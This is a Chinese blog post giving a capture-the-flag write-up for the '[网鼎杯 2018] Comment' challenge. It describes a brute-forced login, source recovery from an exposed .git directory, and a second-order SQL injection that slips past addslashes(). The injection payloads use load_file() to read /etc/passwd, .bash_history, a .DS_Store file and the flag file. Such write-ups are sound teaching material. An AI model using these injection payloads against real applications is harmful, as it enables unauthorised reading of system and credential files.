刷题笔记:[网鼎杯 2018]Comment


前言

关键字:[留言|评论|发帖]

这题真的难。

题解

发帖要登录,

爆破一下,密码是zhangwei666。

1.git泄漏

扫目录扫出/.git,用githack下载一下源码,发现是不全的。

git log一下,是空的。

git log --reflog有不少东西

在题目F12 CONSOLE处也能看到提示。

git log --reflog 查看所有分支的所有操作记录(包括已经被删除的commit记录和reset的操作)

git reset --hard commit记录,还原一下源码

2.SQL注入

addslashes()一下就联想到昨天做的一道题,利用加的\来注释后面一个单引号。不过这题似乎没机会

在此测试下

可知

数据库会自动清除反斜杠

所以,如果addslashes()处理的值往数据库里走一圈,相当于没处理。

category从数据库中取值,漏洞点就在这

梳理下二次注入逻辑

注意看这句话,这样换行写sql语句,那写入的sql语句也是有换行符存在的,所以用#来注释后面的内容就不好使了。

第一次,在catagory里输入

1',content=user(),/*

然后在评论content里输入*/#就会形成入下图所示代码:

第二行的/*与第三行的*/遥相呼应,将中间的给注释了,而第三行的#,将后面的单引号逗号给注释了。

第四行还有一句不能忽略,所以那个逗号也需要加。

于是,注入成立。

这里给了个root权限,也是一个提示

说明flag不在数据库而在本地文件里,需要读取。在数据库中无需root权限。

读取/etc/passwd

1',content=(select load_file('/etc/passwd')),/*

一般设置web的都是www用户,所以找www。

找到www用户目录/home/www/

读下历史命令记录

1',content=(select load_file('/home/www/.bash_history')),/*

.bash_history保存了当前用户使用过的历史命令

删除了/var/www/html/.DS_Store

但是没删/tmp/html/.DS_Store

.DS_Store是Mac OS保存文件夹的自定义属性的隐藏文件,如文件的图标位置或背景色,相当于Windows的desktop.ini。经常会有一些不可见的字符

所以读取下

1',content=(select load_file('/tmp/html/.DS_Store')),/*

hex()转换下

1',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

一大堆16进制,解个码

最后读取下

1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

如果不加hex(),那还得查看源码

游戏结束。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录